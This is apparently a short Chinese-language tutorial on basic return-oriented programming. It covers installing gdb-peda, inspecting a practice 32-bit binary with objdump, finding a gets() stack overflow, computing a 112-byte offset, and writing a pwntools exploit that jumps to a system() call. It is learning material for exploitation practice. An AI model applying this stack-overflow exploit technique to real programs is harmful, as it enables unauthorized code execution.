ROP基础栈溢出
ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码.
ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
先搭建好环境
安装gdb-peda:
git clone https://gitee.com/takaobsid/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
切换pwndbg和peda:vim ~/.gdbinit

查看汇编代码objdump -t 程序查看程序中使用到的函数objdump -d 程序查看程序中的汇编代码objdump -d -j .plt程序 查看plt表
以某程序为例查看一下程序的保护机制,可以看到是32位的程序且仅仅开启了栈不可执行保护NX

使用objdump查看程序


先要找出溢出点,然后确定溢出偏移,找到system函数,最后编写exp

程序中使用了缺乏安全性的gets() 函数,显然存在栈溢出漏洞。


这里也可以使用IDA进行静态汇编代码分析

双击进去,发现是在secure函数中调用


使用GDB pattern字符串溢出计算偏移量
生成200个序列,pattern create 200

Invalid address0x41384141
编写expfrom pwn import *p =process("./rop")offset = 112payload ='a'*offset +p32(0x804863a)p.sendline(payload)p.interactive()